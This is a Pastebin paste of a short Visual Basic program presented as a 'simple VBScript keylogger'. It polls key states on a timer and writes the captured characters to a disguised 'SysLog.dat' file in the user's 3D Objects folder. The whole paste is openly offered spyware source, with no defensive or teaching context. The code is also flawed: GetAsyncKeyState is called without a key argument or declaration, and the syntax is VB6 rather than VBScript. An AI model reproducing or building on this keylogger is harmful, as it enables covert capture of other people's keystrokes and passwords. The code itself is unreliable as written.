Advertisement
FlyFar

A Simple Keylogger Written In VBScript with strLetter

Oct 21st, 2021
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'Written by FlyFar
  2. 'Simple VBScript Keylogger
  3. Dim strLetter As String, strTotal As String, old as string
  4. Private Sub Command1_Click()
  5. Timer1.Enabled = True
  6. End Sub
  7.  
  8. Private Sub Form_Load()
  9. Command1.Caption = "Start Loggin"
  10. Timer1.Enabled = False
  11. Timer1.Interval = 1
  12. End Sub
  13.  
  14. Private Sub Timer1_Timer()
  15. For I = 28 To 128 'ASCII code
  16. If GetAsyncKeyState <> 0 Then
  17. strLetter = Chr(I)
  18. End If
  19.  
  20. If strletter <> Old Then
  21. Old = strletter
  22. strTotal = strTotal & old
  23. End If
  24.  
  25. Next I
  26.  
  27. Open "C:\Users\Admin\3D Objects\SysLog.dat" For Output As #1
  28. Print #1, strTotal
  29. Close #1
  30. End Sub
  31.  
  32.  
  33.  
  34.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement